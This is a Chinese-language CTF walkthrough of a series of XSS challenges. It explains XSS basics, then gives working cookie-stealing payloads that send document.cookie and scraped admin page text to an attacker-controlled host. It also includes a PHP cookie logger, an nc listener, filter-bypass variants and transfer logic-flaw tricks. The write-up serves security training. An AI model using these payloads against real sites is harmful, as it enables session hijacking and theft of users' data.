因为我不太会xss,所以写的可能不是很顺畅,也会罗嗦一点,师傅们轻喷
- XSS预备知识
- web316
- web317 | 318 | 319
- web320 | 321 | 323 | 324 | 325 | 326
- web322
- 小总结
- web327
- web328
- web329
- web330 | 331
- web332
- web333
XSS预备知识
0x00 什么是xss?
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
引自ctfwiki
0x01 xss危害
- 通过 document.cookie 盗取 cookie中的信息
- 使用 js或 css破坏页面正常的结构与样式
- 流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
- dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
- 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。
例子:2011年6月28日,新浪微博被XSS攻击,大量用户自动转发微博、私信。自动关注用户,大量用户被莫名其妙地控制。因为可以使用JS代码代替用户单击按钮发送请求,所以损坏非常大。
以上内容来源:https://www.cnblogs.com/54chensongxia/p/11643787.html
0x02 xss三种分类
就不搬运了,直接看 https://ctf-wiki.github.io/ctf-wiki/web/xss-zh/
web316
document.cookie 获取饼干的js代码\
推荐xss平台:http://xsscom.com/ , https://xss.pt/
payload:</textarea>'"><script src=http://xsscom.com//GsVqfU></script>
后台bot自动点击,间隔10s,过了会刷新xss平台,可以看到已经接收到flag了,but,why?
访问平台给的urlhttp://xsscom.com//GsVqfU
可以发现里面全是js代码,对于第一关来说太过臃肿,也看不懂,这里给一个简单点的js
<script>var img = document.createElement("img");//创建img标签
img.src = "http://your-domain/?cookie="+document.cookie;//设置img标签的src
</script>
在你的vps上进行监听2333端口。atao哥哥说bp里的client可以持续监听nc -lvp 2333
,nc的监听都是一次性的(如果可以持续请务必告诉我,我没查到呜呜呜),如果本次未收到flag那就再起一次nc
在wiki上看到可以自动接收的脚本
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
这样就不需要一直nc辣,查看文件就好了
这段js代码干了什么?你为什么能得到管理员的饼干?
上面的pl中有document.cookie
,菜鸟教程中是这么解释的:JavaScript的 document.cookie
将以字符串
的方式返回所有
的cookie,类型格式: cookie1=value; cookie2=value; cookie3=value;
后台管理员访问了我们的‘祝福’链接会自动触发img标签里的src(此标签的src本意是要显示指定url的图片,但是我们传入了恶意代码,导致管理员饼干被打到vps上),帮我们得到cookie。
web317 | 318 | 319
http://www.jlyqing.com/xss/cookie.php?cookie=\
过滤了script,昨晚使用第一个平台一直不行,大家千万别死磕,换第二个就好了,使用iframe标签
尝试自己写payload失败了(菜的安详.jpg)下次一定
web320 | 321 | 323 | 324 | 325 | 326
多吃了空格(用\
绕过)、xss
,文件路径一定别有xss,我的一开始有搞了好久接收不到呜呜呜,最后还是问了群主,原来过滤了xss
平台的payload我去绕过没成功,打到vps上吧<body/onload=document.location='http://your-domain/cookie.php?cookie='+document.cookie;>
\
web322
322用上面的失败了,最后用了平台的<iframe/srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/cLgF"></sCrIpT>>
小总结
看这几道题来说,反射性xss无非就是变换标签,结合各种编码去绕过,空格用\
,关键字双写或者编码等等
web327
收件人:admin,内容随意,直接上xss平台就行
web328
不会玩,参考y4师傅的wp
vps写一个js
var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.cookie;
document.body.append(img);
接收还用刚才的,注册<script src="js地址"></script>
,vps上看接收到的cookie,用这个cookie登陆,再看用户管理
web329
这把再用盗取的cookie就不行了,已经失效了,登不上去,用的y4师傅的js,读网页源码(骚)
var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;//问了师傅才知道这个标签是可以通过浏览器找到的,ttttqqqqll
document.body.append(img);
web330 | 331
读源码读了个寂寞,admin************
,看看师傅的wp是改密码。。。我。。。直接读页面全部源码不就好了嘿嘿嘿
var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container').tex tContent;
document.body.append(img);
web332
一开始想的给自己转钱,结果不对,第二天才是这样玩哈哈哈。
注册两个账号,给另一个转-9999999999999999,会增加自己账户的钱
web333
自己给自己转账,,,妙~,bp直接爆破转